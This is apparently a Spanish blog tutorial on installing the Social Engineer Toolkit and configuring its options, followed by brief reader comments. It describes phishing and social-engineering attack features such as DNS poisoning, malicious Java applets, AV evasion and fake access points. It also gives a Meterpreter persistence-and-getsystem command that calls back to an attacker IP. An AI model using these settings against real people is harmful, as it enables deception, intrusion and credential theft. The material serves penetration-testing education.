SET es un Framework muy robusto y completo que se enfoca principalmente en la explotación del “factor humano”, diseñado específicamente para realizar ataques que siguen la filosofía de los conceptos expuestos en el Social Engineering Framework (http://www.social-engineer.org/). El objetivo de esta herramienta es de servir como punto de apoyo a un pentester que utiliza técnicas de ingeniería social, sin embargo no es un fin en si mismo, un ingeniero social debe conocer y dominar las técnicas del “hacking humano” con el objetivo de aplicarlas correctamente apoyado por herramientas con SET. Actualmente existen textos excelentes sobre el tema, sin embargo existen dos que se han convertido en un “estándar” y de lectura casi obligatoria para los ingenieros sociales, estos son:
– The Art of Deception – Kevin Mitnick
– Social Engineering, The Art of the Human Hacking – Christopher Hadnagy
Se recomienda su lectura y comprensión, especialmente el segundo, el cual es una síntesis bastante bien elaborada sobre lo que es el Social Engineering Framework.
Una vez dicho lo anterior, se invita al lector que antes de comenzar a utilizar SET estudie e investigue los conceptos filosóficos, psicológicos, teóricos y prácticos del Social Engineering Framework en los libros anteriormente indicados y en el sitio web oficial (http://www.social-engineer.org/)
INSTALACIÓN Y CONFIGURACIÓN:
El proceso de instalación es sencillo, solamente es necesario realizar un checkout del repositorio SVN donde se encuentran todos los fuentes de SET para su posterior ejecución (evidentemente es necesario tener instalado SVN para realizar el procedimiento de checkout)
>svn co http://svn.secmaniac.com/social_engineering_toolkit set/ |
Es una buena practica actualizar la copia en local con las nuevas modificaciones del repositorio utilizando el comando
>svn up |
Esto es mas que suficiente para comenzar a utilizar SET, sin embargo es necesario conocer el fichero de configuración raíz de esta herramienta que permite configurar cada detalle de su funcionamiento para activar o desactivar características especificas del mismo, dicho fichero se encuentra ubicado en config/set_config y a continuación se procede a detallar las opciones de configuración que pueden utilizarse en esta herramienta:
Propiedad |
Descripción |
Valor por Defecto |
METASPLOIT_PATH |
Indica la ruta en donde se encuentra instalado MetaSploit Framework para la ejecución de exploits y payloads. |
/opt/framework3/msf3 |
ETTERCAP |
Esta propiedad, cuando tiene el valor de “ON” es utilizada para ejecutar ataques de envenenamiento de DNS contra un conjunto de direcciones IP que se encuentran en el mismo segmento de red que el atacante (utilizando el ataque de sitio web malicioso) |
OFF |
ETTERCAP_DSNIFF_INTERFACE |
Indica la interfaz de red que será utilizará utilizada por ETTERCAP o DNSIFF para ejecutar los ataques de envenenamiento del segmento de red. |
eht0 |
ETTERCAP_PATH |
Directorio donde se encuentra ubicada la librería de Ettercap |
/usr/share/ettercap |
DSNIFF |
Esta propiedad realiza ataques de envenenamiento del mismo modo que Ettercap sin embargo utiliza la librería dsniff en lugar de Ettercap (utilizando el ataque de sitio web malicioso) esta propiedad y la propiedad ETTERCAP no pueden estar activadas al mismo tiempo (con valor “ON”) |
OFF |
SENDMAIL |
SET intentará iniciar SENDMAIL para realizar Spoofing de la dirección de Email de origen, este ataque solamente funciona si el servidor SMTP de la víctima permite realizar envío de correo anónimo (sin verificación de usuario) y si el servidor no realiza consultas DNS reversas sobre el nombre de host. |
OFF |
WEBATTACK_EMAIL |
Se utiliza cuando se quiere ejecutar un ataque de envío de correos masivo en conjunto con un ataque de sitio web malicioso. |
OFF |
SELF_SIGNED_APPLET |
Crear applets maliciosos auto-firmados falseando la identidad del editor del applet. Es necesario tener instalado el JDK 6.0 |
OFF |
JAVA_ID_PARAM |
Identificador único del applet malicioso auto-firmado, es utilizando para que resulte más creíble al usuario final. |
Secure Java Applet |
JAVA_REPEATER |
Si se encuentra activa, el mensaje del applet seguirá apareciendo a la víctima hasta que lo acepte (incluso en el caso de que pulse sobre cancelar) |
ON |
JAVA_TIME |
Indica el intervalo de tiempo que transcurrirá entre la cancelación de la ejecución del applet malicioso por parte de la víctima y su reaparición (si JAVA_REPEATER se encuentra activada) el valor de 200 es igual a cada 2 segundos. |
200 |
AUTO_DETECT |
Esta propiedad permite a SET capturar de forma automática la interfaz de red utilizada para la conexión a internet y la utiliza para ejecutar conexiones reversas con las víctimas que no se encuentren en el segmento de red local (como por ejemplo internet) |
ON |
WEB_PORT |
Indica el puerto que utilizará el servidor HTTP para servir los applets maliciosos o exploits de metasploit. |
80 |
CUSTOM_EXE |
Ruta donde se encuentra un ejecutable legitimo que será utilizado por metasploit para la generación de un fichero malicioso que ser´a posteriormente entregado a la víctima, utilizando msfvenom para la creación del payload malicioso. |
legit.binary |
MLITM_PORT |
Puerto utilizado para enlazar el servidor Web. |
80 |
APACHE_SERVER |
Utilizar Apache Web Server en lugar de utilizar los servidores Web de Phyton. Se recomienda dado que incrementa la velocidad y la estabilidad del vector de ataque. |
OFF |
APACHE_DIRECTORY |
Directorio de aplicaciones web del servidor apache. |
/var/www/ |
WEBATTACK_SSL |
Activa los certificados SSL para establecer comunicaciones seguras en el vector de ataque de aplicación web. |
OFF |
SELF_SIGNED_CERT |
Crear certificados web auto-firmados utilizando SET, es necesario tener instalado OpenSSL |
OFF |
PEM_CLIENT |
Ruta donde se ubicará el certificado privado del cliente en formato PEM |
/root/newcert.pem |
PEM_SERVER |
Ruta donde se ubicará el certificado privado del servidor en formato PEM |
/root/newreq.pem |
WEBJACKING_TIME |
Este tipo de ataque reemplaza el sitio web del navegador web de la víctima con otra ventana (iframe) que aparenta ser el sitio web legitimo, este ataque depende del tiempo, por defecto son 2 segundos. |
2000 |
COMMAND_CENTER_PORT |
Propiedad encargada de establecer el puerto central donde se recibirán las conexiones reversas de la ejecución exitosa de exploits en la maquina de la víctima. |
44444 |
COMMAND_CENTER_INTERFACE |
Dirección donde se recibirán los las conexiones reversas de la ejecución exitosa de exploits en la maquina de la víctima. Para activar esta opción establecer el valor de 0.0.0.0 |
127.0.0.1 |
ENCOUNT |
Indica cuantas veces se debe codificar un payload utilizando las opciones estándar de metasploit framework |
4 |
TERMINAL |
Indica el tipo de terminal o consola que se abrirá ante la ejecución exitosa de un exploit y el establecimiento de una conexión reversa entre la victima y el atacante, los valores son: GNOME, KONSOLE, XTERM, SOLO, Cuando se utiliza SOLO se utiliza la misma interfaz utilizada para abrir la interfaz WEB de Set, todos los resultados irán en la misma consola (shell) lo que es bastante util si se utiliza algo que solamente tiene una unica consola, como por ejemplo un IPHONE. |
SOLO |
AUTO_MIGRATE |
Si esta establecida esta opción los payloads exitosos automáticamente migrarán al proceso de Notepad una vez sean ejecutados, muy útil si por ejemplo la víctima cierra el navegador. |
OFF |
DIGITAL_SIGNATURE_STEAL |
Activa el vector de ataque de robo de firma digital, es necesario tener los modulos de Python PEFILE instalados y cargados (http://code.google.com/p/pefile/) de otro modo este ataque fallará. Como beneficio puede decirse que permite una evasión de AV mucho mas limpia y exitosa |
OFF |
UPX_ENCODE |
Activa el empaquetador UPX y automáticamente empaqueta el ejecutable malicioso para intentar evadir AV mucho mejor. |
ON |
UPX_PATH |
Ruta donde se encuentra instalado UPX, evidentemente necesita estar instalado, en el caso de que se trate de maquinas basadas en debian simplemente ejecutando el comando: apt-get install upx Será más que suficiente. |
/usr/bin/upx |
METERPRETER_MULTI_SCRIPT |
Permite la ejecucón de multiples Scripts meterpreter una vez una sesión Meterpreter se activa |
OFF |
METERPRETER_MULTI_COMMANDS |
Scripts Meterpreter que se van a ejecutar una vez se consiga una sesión meterpreter, cada comando se encuentra separado por “;” y es necesario que este activada la opción: |
persistence -r 192.168.1.5 -p 21 -i 300 -X -A;getsystem |
METASPLOIT_IFRAME_PORT |
Puerto utilizado para la inyección de IFRAMES usando los ataques de navegador de MetaSploit |
8080 |
AUTO_REDIRECT |
Activa o desactiva la redirección automática, por defecto una vez un ataque web ha sido exitoso la víctima es redirigida al sitio legitimo. |
ON |
UNC_EMBED |
Automáticamente embeberá un ta IMG SRC a una ruta UNC de la maquina del atacante, de este modo tan pronto como el objetivo se convierta en víctima el UNC será inicializado y Metasploit utilizará el modulo SMB que interceptará los valores del hash de claves. |
OFF |
ACCESS_POINT_SSID |
Propiedad utilizada para crear un “fake” access point, este valor establece el SSID del AP. |
linksys |
AIRBASE_NG_PATH |
Ruta donde se encuentra instalado airbase-ng |
/usr/local/sbin/airbase-ng |
DNSSPOOF_PATH |
Ruta donde se encuentra instalado dnsspoof |
/usr/local/sbin/dnsspoof |
EMAIL_PROVIDER |
Proveedor de Email, los valores aceptados son: GMAIL, YAHOO y HOTMAIL |
GMAIL |
AP_CHANNEL |
Canal donde se encontrará el AP inalámbrico falso |
9 |
SET_INTERACTIVE_SHELL |
Remueve la Shell interactiva de SET desde la selección del menú. |
ON |
Estas son todas las opciones de configuración existentes a la fecha redacción de este documento, es muy importante entenderlas para poder sacar el máximo partido a SET.
Las próximas entradas serán mucho mas practicas y se enfocará exclusivamente en los métodos de ataque disponibles en SET.
interesante tuto, espero las otras publicaciones del set, gracias.
Me gustaMe gusta
Recien empiezo en backtrack y me intereso mucho SET, mientras espero las proximas entregas leere alguna de las lecturas que recomiendas. Excelente trabajo. Felicidades.
Me gustaMe gusta
excelente aporte manes saludos
Me gustaMe gusta
ola una consulta cuando lo activo el link o ip se puede abrir en cualquier lugar o solo en la misma red donde esta conectado
Me gustaMe gusta